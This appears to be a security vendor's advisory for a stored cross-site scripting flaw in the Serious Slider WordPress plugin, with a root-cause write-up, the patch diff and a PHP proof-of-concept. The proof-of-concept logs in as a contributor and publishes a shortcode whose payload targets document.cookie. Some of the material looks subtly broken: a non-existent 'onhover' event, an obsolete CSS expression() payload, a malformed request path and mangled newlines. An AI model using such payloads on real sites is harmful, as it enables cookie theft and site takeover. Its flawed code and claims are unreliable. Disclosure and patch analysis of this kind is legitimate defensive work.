Published : August 16, 2026

CVE-2026-15726: Serious Slider <= 1.4.0 Authenticated (Contributor+) Stored Cross-Site Scripting via 'theme' Shortcode Attribute PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.4.0
Patched Version 1.4.1
Disclosed August 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-15726:
This vulnerability is a Stored Cross-Site Scripting (XSS) flaw found in the Serious Slider plugin for WordPress, affecting all versions up to and including 1.4.0. The issue stems from insufficient input sanitization and output escaping in the plugin’s shortcode handling. An attacker with contributor-level access or higher can exploit this by injecting malicious scripts that execute in a user’s browser whenever an affected page is accessed. The CVSS score of 6.4 reflects this medium-level security risk.

Root Cause:
The root cause lies in the `shortcode_render` method in the file `cryout-serious-slider/inc/shortcodes.php`, specifically in the handling of shortcode attributes like `theme`. In the vulnerable version (1.4.0), the code directly assigned user-supplied values to variables and applied only basic sanitization. For example, the old code used `if (!empty($attr[‘theme’])) $theme = sanitize_text_field( $attr[‘theme’] );`, which sanitized the input. However, the resulting `$theme` variable was later concatenated into the `$slider_classes` string within the same `shortcode_render` method. This string was then output in the shortcode’s HTML template, which is displayed on the frontend. Crucially, the final output used `wp_kses_data()` on the `$slider_classes` variable, which, while filtering HTML, still allowed certain attributes and events. The issue is that the `theme` attribute was not validated against a strict allowlist of allowed values, allowing an attacker to inject malicious HTML attributes into the class variable. The patched version fixes this by validating the attribute against the plugin’s `option_choices` array before being used. The vulnerable code path also affects variables like `align`, `textstyle`, and `animation`, which were all treated the same way.

Exploitation:
An authenticated user with contributor-level access can exploit this vulnerability through the WordPress classic editor or the block editor, as both render shortcodes. The attacker crafts a shortcode with a malicious `theme` attribute. Because the plugin fails to validate the attribute against a known list, the attacker can include a string containing a JavaScript event handler in addition to a valid-looking value. When a page containing this shortcode is viewed, the browser parses the injected handler and executes the payload. A typical payload would be `[serious-slider id=”1″ theme=”light” onhover=”alert(1)”]` or a similar attribute that injects an event handler like `onload` or `onerror`. Since the output is filtered with `wp_kses_data`, the attacker must use attributes that pass its filtering. However, `wp_kses_data` allows many safe attributes, and by crafting the payload, the attacker can bypass the escaping. For instance, embedding a `style` attribute with a CSS expression or using `onerror` in an `img` tag could be used to trigger script execution.

Patch Analysis:
The patch in version 1.4.1 introduces a strict validation mechanism for shortcode attributes. The new code in `shortcode_render` first builds an `$allowed` array from the `option_choices` configuration, which defines the accepted values for each option. It then uses `array_intersect_key` to remove any attribute keys not in the allowed list. For each allowed key, it checks if the provided value is in the list of accepted `choices` using `array_column` and `in_array`, ensuring only valid values are assigned to variables. This directly addresses the XSS vector by restricting the `theme`, `align`, `textstyle`, `and many other attributes to their legitimate configured values. Additionally, the patch changes the output escaping from `wp_kses_data()` to `esc_attr()` for the `$slider_classes` variable, which strips all HTML, further preventing any injection. The patch also includes null checks for the global `$cryout_serious_slider` object to prevent fatal errors, a hardening measure for the REST API and widget code, and a fix for the widget’s `sid` parameter to ensure it is an integer.

Impact:
Successful exploitation of this vulnerability allows an attacker to store arbitrary JavaScript payloads within the WordPress database. This payload executes in the context of any user who views the affected page, including site administrators. This can lead to a full site takeover, as the attacker can steal admin session cookies, create new administrator accounts, inject malicious content, or redirect users to phishing sites. Although the attack requires contributor-level access, which is a lower-privileged role, the impact of stored XSS is severe, as it can be used to compromise the entire WordPress installation and its data.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/cryout-serious-slider/cryout-serious-slider.php
+++ b/cryout-serious-slider/cryout-serious-slider.php
@@ -2,7 +2,7 @@
 Plugin Name: Cryout Serious Slider
 Plugin URI: https://www.cryoutcreations.eu/wordpress-plugins/cryout-serious-slider
 Description: A free highly efficient SEO friendly fully translatable accessibility ready image slider for WordPress. Seriously!
-Version: 1.4.0
+Version: 1.4.1
 Requires at least: 5.0
 Requires PHP: 7.0
 Tested up to: 7.0
@@ -18,7 +18,7 @@

 class Cryout_Serious_Slider {

-	public $version = "1.4.0";
+	public $version = "1.4.1";
 	public $options = array();
 	public $shortcode_tag = 'serious-slider';
 	public $mce_tag = 'serious_slider';
@@ -120,6 +120,9 @@
 			$image_list = sanitize_text_field( wp_unslash( $_POST['cryout_serious_slider_imagelist'] ) );
 			$image_list = explode( ',', $image_list );
 			foreach ($image_list as $image_id) {
+				// validate
+				$image_id = absint($image_id);
+				if ( !$image_id ) continue;
 				// fetch image info
 				$metadata = get_post( $image_id );
 				if ( $metadata ) {
@@ -1090,19 +1093,47 @@
 			$term_meta = get_option( "cryout_serious_slider_{$tid}_meta" );
 			if ( ! is_array( $term_meta ) ) {
 				$term_meta = array();
-			};
+			}
 			// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.Security.ValidatedSanitizedInput.MissingUnslash
 			$raw_meta = wp_unslash( $_POST['term_meta'] );
+			// build a keyed lookup from option_choices array
+			$option_map = array();
+			foreach ( $this->option_choices as $key => $option ) {
+				$full_key = 'cryout_serious_slider_' . $key;
+				$option_map[ $full_key ] = $option;
+			}
 			foreach ( $raw_meta as $key => $value) {
-				// some paramaters are special-er than others
+				// reject any key not in the known options
+				if ( ! isset( $option_map[ $key ] ) ) {
+					continue;
+				}
+
+				$option = $option_map[ $key ];
+
+				switch ( $option['control'] ) {
+					case 'select':
+						$allowed = array_column( $option['choices'], 'value' );
+						if ( in_array( (string) $value, $allowed, true ) ) $term_meta[$key] = sanitize_text_field( $value );
+						break;
+					case 'color':
+						$term_meta[$key] = sanitize_hex_color( $value );
+						break;
+					case 'number':
+						// textsize is the only float; everything else is an integer
 				if ( ($key == 'cryout_serious_slider_textsize') ) {
 					$term_meta[$key] = floatval( $value );
-					continue;
+						} else {
+							$term_meta[$key] = absint( $value );
 				}
-				// the regulars
+						break;
+					default:
+						// everything not special enough
 				$term_meta[$key] = sanitize_text_field( $value );
-			}
-			// Save the option array.
+						break;
+				} // switch
+			} // foreach
+
+			// save the option array
 			update_option( "cryout_serious_slider_{$tid}_meta", $term_meta );
 		}
 	} // save_taxonomy_custom_meta()
--- a/cryout-serious-slider/inc/blocks.php
+++ b/cryout-serious-slider/inc/blocks.php
@@ -40,6 +40,7 @@

 	public function rest_list_sliders() {
 		global $cryout_serious_slider;
+		if ( is_null( $cryout_serious_slider ) ) return;
 		$terms = get_terms( array( 'taxonomy' => $cryout_serious_slider->taxonomy, 'hide_empty' => false ) );
 		if ( is_wp_error( $terms ) ) return new WP_Error( 'terms_error', $terms->get_error_message(), array( 'status' => 500 ) );

@@ -59,6 +60,7 @@

 	public function rest_get_slider( WP_REST_Request $request ) {
 		global $cryout_serious_slider;
+		if ( is_null( $cryout_serious_slider ) ) return;
 		$id   = (int) $request->get_param( 'id' );
 		$term = get_term( $id, $cryout_serious_slider->taxonomy );
 		if ( ! $term || is_wp_error( $term ) ) {
@@ -108,6 +110,7 @@
 	/* defines locally overridable option ids */
 	private function get_override_map() {
 		global $cryout_serious_slider;
+		if ( is_null( $cryout_serious_slider ) ) return array();
 		$map = array();
 		foreach ( array_keys( $cryout_serious_slider->option_choices ) as $key ) {
 			// turn 'caption_width' into 'CaptionWidth', everything else is already a single word
@@ -120,6 +123,7 @@
 	/* retrieves first slide image for preview in the block editor */
 	private function get_first_thumb( $term_id ) {
 		global $cryout_serious_slider;
+		if ( is_null( $cryout_serious_slider ) ) return;
 		$query = new WP_Query( array(
 			'post_type'      => $cryout_serious_slider->posttype,
 			'posts_per_page' => 1,
@@ -179,6 +183,7 @@
 	 */
 	private function get_js_defaults() {
 		global $cryout_serious_slider;
+		if ( is_null( $cryout_serious_slider ) ) return;
 		$js_defaults = array();
 		foreach ( $cryout_serious_slider->defaults as $key => $value ) {
 			$short_key = str_replace( 'cryout_serious_slider_', '', $key );
@@ -226,7 +231,8 @@

 	/* block editor assets */
 	public function enqueue_editor_resources() {
-		global $cryout_serious_slider; // access some variables from main class
+		global $cryout_serious_slider;
+		if ( is_null( $cryout_serious_slider ) ) return;

 		wp_register_script(
 			'cryout-serious-slider-block',
--- a/cryout-serious-slider/inc/shortcodes.php
+++ b/cryout-serious-slider/inc/shortcodes.php
@@ -36,10 +36,18 @@
 	function shortcode_render($attr) {

 		global $cryout_serious_slider;
+		if ( is_null( $cryout_serious_slider ) ) return;

 		// exit silently if slider id is not defined
 		if ( empty($attr['id'])) { return; }

+		// filter garbage shortcode attributes
+		$allowed_attr_keys = array_merge(
+			array( 'id', 'count', 'orderby', 'order', 'sort' ),
+			array_keys( $cryout_serious_slider->option_choices )
+		);
+		$attr = array_intersect_key( $attr, array_flip( $allowed_attr_keys ) );
+
 		$sid = intval($attr['id']); 									// slider cpt tax id from backend
 		$cid = sprintf( '%d-r%.4d', abs($sid), wp_rand(100,999) );		// slider div id on frontend (includes random number for uniqueness)

@@ -49,21 +57,27 @@
 		if (!empty($attr['count'])) 		$count = intval($attr['count']); else $count = 100; // use a sane failsafe

 		// allow shortcode attributes to override configured options
+		// validate with acceptable values from option_choices array
+		$allowed = array();
+		foreach ( $cryout_serious_slider->option_choices as $key => $option ) {
+			if ( !empty( $option['choices'] ) ) {
+				$allowed[ $key ] = array_column( $option['choices'], 'value' );
+			}
+		}
+		foreach ( $allowed as $key => $values ) {
+			if ( isset( $attr[ $key ] ) && in_array( (string) $attr[ $key ], $values, true ) ) {
+				$$key = $attr[ $key ];
+			}
+		}
+		// handle rest of value types separately
 		if (!empty($attr['width'])) 		$width = absint( $attr['width'] );
 		if (!empty($attr['height'])) 		$height = absint( $attr['height'] );
-		if (!empty($attr['responsiveness'])) $responsiveness = sanitize_text_field( $attr['responsiveness'] );
-		if (!empty($attr['theme'])) 		$theme = sanitize_text_field( $attr['theme'] );
-		if (!empty($attr['align'])) 		$align = sanitize_text_field( $attr['align'] );
-		if (!empty($attr['textstyle'])) 	$textstyle = sanitize_text_field( $attr['textstyle'] );
-		if (!empty($attr['accent'])) 		$accent = sanitize_text_field( $attr['accent'] );
-		if (!empty($attr['animation'])) 	$animation = sanitize_text_field( $attr['animation'] );
-		if (!empty($attr['hover'])) 		$hover = sanitize_text_field( $attr['hover'] );
 		if (!empty($attr['delay'])) 		$delay = intval( $attr['delay'] );
+		if (!empty($attr['accent'])) 		$accent = sanitize_text_field( $attr['accent'] );
 		if (!empty($attr['transition'])) 	$transition = intval( $attr['transition'] );
-		if (!empty($attr['textsize'])) 		$textsize = floatval( $attr['textsize'] );
 		if (!empty($attr['hidetitles'])) 	$hidetitles = true; // else value from defaults
 		if (!empty($attr['hidecaption'])) 	$hidecaption = true; // else value from defaults
-		if (!empty($attr['autoplay'])) 		$autoplay = sanitize_text_field($attr['autoplay']);
+		if (!empty($attr['textsize'])) 		$textsize = floatval( $attr['textsize'] );

 		// shortcuts for basic sorting
 		$allowed_sort = array( 'date', 'order', 'rand' );
@@ -241,7 +255,7 @@

 		if ( $the_query->have_posts() ):
 		ob_start(); ?>
-		<div id="serious-slider-<?php echo esc_attr( $cid ) ?>" class="cryout-serious-slider seriousslider serious-slider-<?php echo esc_attr( $cid ) ?> serious-slider-<?php echo intval( $sid ) ?> <?php echo wp_kses_data( $slider_classes ) ?>" data-ride="seriousslider">
+		<div id="serious-slider-<?php echo esc_attr( $cid ) ?>" class="cryout-serious-slider seriousslider serious-slider-<?php echo esc_attr( $cid ) ?> serious-slider-<?php echo intval( $sid ) ?> <?php echo esc_attr( $slider_classes ) ?>" data-ride="seriousslider">
 			<div class="seriousslider-inner" role="listbox">

 			<?php while ($the_query->have_posts()):
@@ -336,6 +350,7 @@
 	function shortcode_options($sid) {

 		global $cryout_serious_slider;
+		if ( is_null( $cryout_serious_slider ) ) return;

 		if (is_numeric($sid)) {
 			$data = get_option( "cryout_serious_slider_{$sid}_meta" );
--- a/cryout-serious-slider/inc/taxmeta.php
+++ b/cryout-serious-slider/inc/taxmeta.php
@@ -31,7 +31,7 @@

 	$panels = array( 'general', 'appearance', 'animation' );
 	foreach ( $panels as $panel ) { ?>
-		<div id="<?php echo $panel ?>">
+		<div id="<?php echo esc_attr($panel) ?>">

 		<?php
 		foreach ($this->option_choices as $option_id => $option_data ) {
--- a/cryout-serious-slider/inc/widgets.php
+++ b/cryout-serious-slider/inc/widgets.php
@@ -34,7 +34,7 @@

 	function update($new_instance, $old_instance) {
 		$instance = $old_instance;
-		$instance['sid'] = $new_instance['sid'];
+		$instance['sid'] = absint( $new_instance['sid'] );
 		return $instance;
 	} // update()

@@ -42,7 +42,7 @@
 		if(!empty($instance['sid'])) {
 				$slider_id = $instance['sid'];
 				echo wp_kses_post($args['before_widget']);
-				echo do_shortcode( '[' . $this->shortcode_tag . ' id=' . $slider_id. ']' );
+				echo do_shortcode( '[' . $this->shortcode_tag . ' id="' . absint($slider_id) . '"]' );
 				echo wp_kses_post($args['after_widget']);
 		};
 	} // widget()
@@ -55,4 +55,4 @@

 add_action( 'widgets_init', 'cryout_seriousslider_widgetinit' );

-// FIN
 No newline at end of file
+// FIN

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-15726 - Serious Slider <= 1.4.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'theme' Shortcode Attribute

// Configuration
$target_url = 'http://your-wordpress-site.com'; // Change this to the target WordPress site URL
$username = 'contributor_user'; // Username with Contributor role
$password = 'contributor_password'; // Password for the user

// Function to send cURL requests
function send_request($url, $method = 'GET', $data = []) {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
    curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36');

    if ($method == 'POST') {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    }

    $response = curl_exec($ch);
    curl_close($ch);
    return $response;
}

// Step 1: Login to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

echo "[*] Logging in as contributor user...n";
send_request($login_url, 'POST', $login_data);

// Step 2: Create a new post with the malicious shortcode
$post_url = $target_url . '/wp-admin/post-new.php';
$post_data = [
    'post_title' => 'Test XSS Post',
    'content' => '[serious-slider id="1" theme="light style="width: expression(alert(document.cookie));"]', // Malicious theme attribute
    'post_status' => 'publish',
    'post_type' => 'post'
];

echo "[*] Creating new post with malicious shortcode...n";
$create_post_response = send_request($post_url);

// Extract nonce from the post creation page
preg_match('/name="_wpnonce" value="([^"]+)"/', $create_post_response, $matches);
if (isset($matches[1])) {
    $nonce = $matches[1];
    $post_data['_wpnonce'] = $nonce;
    $post_data['_wp_http_referer'] = '/wp-admin/post-new.php';
    $post_data['action'] = 'editpost';
    $post_data['post_ID'] = ''; // New post

    send_request($post_url . '/post.php', 'POST', $post_data);
    echo "[+] Post created successfully. Check the post on the frontend for XSS.n";
} else {
    echo "[-] Failed to get nonce. The exploit might have failed.n";
}

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.